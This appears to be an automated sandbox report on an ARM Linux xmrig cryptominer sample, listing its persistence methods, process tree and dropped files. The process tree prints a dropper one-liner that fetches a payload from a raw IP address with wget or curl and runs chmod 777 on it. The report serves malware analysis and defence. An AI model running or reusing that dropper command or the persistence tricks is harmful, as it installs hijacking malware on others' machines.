Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    17/10/2026, 04:26

General

  • Target
    e0a7753a0bcd1162.bin.elf
  • Size 201KB
  • Sample261017-e2lvlswygz
  • SHA256 e0a7753a0bcd11621a102e4d0cf5e7a1b1fb7eb3dd2996ad765f00fb288b90a2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 2 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 2 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e0a7753a0bcd1162.bin.elf
    /tmp/e0a7753a0bcd1162.bin.elf
    1⤵
    • Creates/modifies Cron job
    • Enumerates active TCP sockets
    • Modifies init.d
    • Modifies rc script
    • Changes its process name
    • Reads system network configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:790
    • /tmp/e0a7753a0bcd1162.bin.elf
      .qv3g vps --guardian
      2⤵
      • Executes dropped EXE
      • Changes its process name
      PID:794
      • /tmp/.qv3b
        .qv3b vps
        3⤵
        • Executes dropped EXE
        • Creates/modifies Cron job
        • Enumerates active TCP sockets
        • Modifies init.d
        • Modifies rc script
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:834
        • /tmp/.qv3b
          .qv3g vps --guardian
          4⤵
          • Changes its process name
          PID:837
    • /bin/sh
      sh -c "cd /tmp 2>/dev/null||cd /var/tmp 2>/dev/null||cd /dev/shm 2>/dev/null||cd / 2>/dev/null;rm -f .upd;U=http://31.56.209.86/armv7l;(wget -qO .upd \$U||curl -skLo .upd \$U||busybox wget -qO .upd \$U);chmod 777 .upd 2>/dev/null;"
      2⤵
      • File and Directory Permissions Modification
      PID:825
      • /usr/bin/rm
        rm -f .upd
        3⤵
          PID:826
        • /usr/bin/curl
          curl -skLo .upd http://31.56.209.86/armv7l
          3⤵
          • Checks CPU configuration
          PID:828
        • /usr/bin/busybox
          busybox wget -qO .upd http://31.56.209.86/armv7l
          3⤵
            PID:827
          • /usr/bin/chmod
            chmod 777 .upd
            3⤵
            • File and Directory Permissions Modification
            PID:831

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            qv3b

            • Path /etc/cron.d/qv3b
            • Size 24B
            • SHA256 11911c5bde389370c5b47ffbd3d9f600cdbf87eb2514272aadbffae1eabc12b8
            • MD5 SHA1 SHA512

            qv3b

            • Path /etc/init.d/qv3b
            • Size 57B
            • SHA256 b70c45c5db1a50913f4447ef09811359aac0500e0598871e11156c2146100c93
            • MD5 SHA1 SHA512 TLSH

            rc.local

            • Path /etc/rc.local
            • Size 14B
            • SHA256 76cd029754834d6468966383c7c495a6bf54188d9b6f823d70443d77bee372e0
            • MD5 SHA1 SHA512

            rc.local

            • Path /etc/rc.local
            • Size 28B
            • SHA256 9cfa6a57bd9d6df350389b6a014117ca9f37cf38a62c5f2128e6b706f77ded5c
            • MD5 SHA1 SHA512

            .qv3alive

            • Path /tmp/.qv3alive
            • Size 1B
            • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
            • MD5 SHA1 SHA512

            .qv3b

            • Path /tmp/.qv3b
            • Size 201KB
            • SHA256 e0a7753a0bcd11621a102e4d0cf5e7a1b1fb7eb3dd2996ad765f00fb288b90a2
            • MD5 SHA1 SHA512 SSDEEP TLSH